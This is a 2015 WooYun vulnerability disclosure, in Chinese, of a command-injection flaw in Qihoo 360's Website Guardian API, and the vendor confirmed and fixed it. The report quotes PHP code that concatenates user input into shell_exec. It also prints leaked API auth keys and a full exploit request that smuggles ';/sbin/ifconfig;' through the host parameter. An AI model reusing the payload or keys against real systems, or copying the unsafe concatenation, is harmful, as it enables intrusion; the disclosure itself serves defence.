当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0141929

漏洞标题:神器之奇虎360某命令执行导致网站卫士等多个重要业务官网可getshell(可能影响接入站长)

相关厂商:奇虎360

漏洞作者: 举起手来

提交时间:2015-09-18 12:55

修复时间:2015-11-02 18:06

公开时间:2015-11-02 18:06

漏洞类型:命令执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-18: 细节已通知厂商并且等待厂商处理中
2015-09-18: 厂商已经确认,细节仅向厂商公开
2015-09-28: 细节向核心白帽子及相关领域专家公开
2015-10-08: 细节向普通白帽子公开
2015-10-18: 细节向实习白帽子公开
2015-11-02: 细节向公众公开

简要描述:

RT

详细说明:

上回书中说到的代码泄露中涉及api.wangzhan.360.cn
那么我们来对关键代码简单审计下,为了保护企业的代码,只取部分关键代码

//清除缓存
//$query = "/data1/traslave_cli 127.0.0.1 purge {$domain_name}";
//$query = "/data1/traslave_cli 211.151.122.201 purge {$this->domain_name}";
if ("*" == $this->host || "@" == $this->host) {
$clear_host = $this->domain_name;
} else {
$clear_host = $this->host.".".$this->domain_name;
}
$query = "/data1/traslave_cli 211.151.122.201 purge ".$clear_host;
$result = shell_exec($query);
error_log($query."\n", 3, $this->api_log_file);
error_log("result=".$result."\n", 3, $this->api_log_file);
if (strcmp("OK", trim($result)) == 0) {
$this->res = array("status"=>array("code"=>OPERATE_SUCCESS, "message"=>"operation succeed"));
} else {
$this->res = array("status"=>array("code"=>OPERATE_FAILED, "message"=>"operation failed"));
}


我们看到这里有一个拼接的命令执行。
那么需要怎么触发呢,首先需要找到执行这个api的方法及权限。
执行方法在官方文档中有详细说明:
http://wangzhan.360.cn/guide/api
那关键就是如何找一个api的授权key:
1、申请一个,显然不科学
2、找个合作伙伴,把他们的api权限搞到手,显然很曲折
3、看下官方是否有示例权限
然后我就翻了一下官方给的sdk,果然找到了;

config.php 
<?php
//-----------------------不可修改-----------------------------------
//网站卫士授权账号和密钥
define('MID', '360test'); //授权账号
define('VKEY', 'ca6f55ce981bde2a2fb145686df0d46d');
//define('VKEY', 'ca6f55ce981bde2a2fb145686df0d46d'); //授权key
//保护状态定义
define('OPEN_PROTECT', 1); //开启保护
define('CLOSE_PROTECT', 2); //关闭保护
//---------------------------可修改------------------------
//网站所有者信息
define('OWNER_MARK', 'sunday'); //网站所有者唯一标识
define('OWNER_EMAIL', 'liwenhua@360.cn'); //网站所有者邮箱
//接入类型(请参看文档)
define('JOIN_TYPE', 'ip');
define('DATA', '1.1.1.1');


但是...竟然是一个无效的,擦啊
我再翻啊翻.。。

➜  wangzhan_api  cat include/apiAuth.class.php 
<?php
require_once(dirname(__FILE__)."/config.inc.php");
require_once(dirname(__FILE__)."/mysql.class.php");
class apiAuth {
private $_authkey = array(
'360test' => array('pkey' => 'fe4a809393132148275c72335abba5b8'), //测试专用账号
'shopex' => array('pkey' => '5c25061f20b打码c01e6870e51'), //shopex
'west263' => array('pkey' => 'fe4a80939313打码5abba5b7'), //西数
。。。省略很多


这个开发是个好人,把key写到代码里了,尼玛。接下来就是构造请求来执行命令了
host和domain_name 都可以啦。

http://api.wangzhan.360.cn/wprotect.php?act=cleancache
mid=360test&vkey=68130a53433b1672fb0107eb6089da50&owner_mark=sunday&owner_email=liwenhua@360.cn&domain_name=test02.com&host=www;/sbin/ifconfig;&domain_type=cname


漏洞证明:

漏洞影响:api.wangzhan.360.cn 对应的服务器和wangzhan.360.cn都是一个服务器集群,所以直接也可以影响网站卫士官网。

D68E78E4-DFFC-4CFC-89AB-521E195A71B1.png


然后木有深入,你们懂的。网站卫士几万站长咩。

修复方案:

上线前安全测试

版权声明:转载请注明来源 举起手来@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-09-18 18:04

厂商回复:

感谢反馈,相关业务已紧急修复此问题。

最新状态:

暂无